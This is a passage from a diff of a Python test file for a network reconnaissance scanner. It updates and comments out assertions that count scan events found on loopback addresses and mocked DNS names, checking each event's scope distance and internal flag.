"IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - assert any(e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - assert any(e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) - assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) - - assert len(all_events) == 31 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert any(e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert any(e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) - - assert len(all_events_nodups) == 27 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert any(e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert any(e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) - - for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 12 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - assert any(e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222") - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - assert any(e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33") - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) - - # sslcert with in-scope chain - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - target_list = ["127.0.0.0/31"], - modules=["sslcert"], - _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, - _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, - ) - - assert len(events) == 7 + # # dns search distance = 3, report distance = 1 + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "test.notreal", + # scan_callback=custom_setup, + # _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, + # _dns_mock=dns_mock_chain, + # ) + + # assert len(events) == 5 + # assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) + # assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + # assert len(all_events) == 8 + # assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + # assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + # assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + # assert len(all_events_nodups) == 6 + # assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + # assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + # for _graph_output_events in (graph_output_events, graph_output_batch_events): + # assert len(_graph_output_events) == 7 + # assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + # assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + + # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "127.0.0.1/31", + # modules=["httpx"], + # _config={ + # "dns": {"minimal": False, "search_distance": 2}, + # "scope": {"report_distance": 1, "search_distance": 0}, + # "speculate": True, + # "excavate": True, + # "modules": {"speculate": {"ports": "8888"}}, + # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + # }, + # _dns_mock={}, + # ) + + # assert len(events) == 7 + # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + + # assert len(all_events) == 14 + # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + + # assert len(all_events_nodups) == 12 + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + + # for _graph_output_events in (graph_output_events, graph_output_batch_events): + # assert len(_graph_output_events) == 7 + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + + # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "127.0.0.1/31", + # modules=["httpx"], + # _config={ + # "dns": {"minimal": False, "search_distance": 2}, + # "scope": {"search_distance": 0, "report_distance": 1}, + # "excavate": True, + # "speculate": True, + # "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + # }, + # ) + + # assert len(events) == 8 + # # 2024-08-01 + # # Removed OPEN_TCP_PORT("127.0.0.77:8888") + # # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important. + # # now for whatever reason, httpx is visiting the url directly and the open port isn't being used + # # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. + # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + + # assert len(all_events) == 18 + # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + + # assert len(all_events_nodups) == 16 + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # 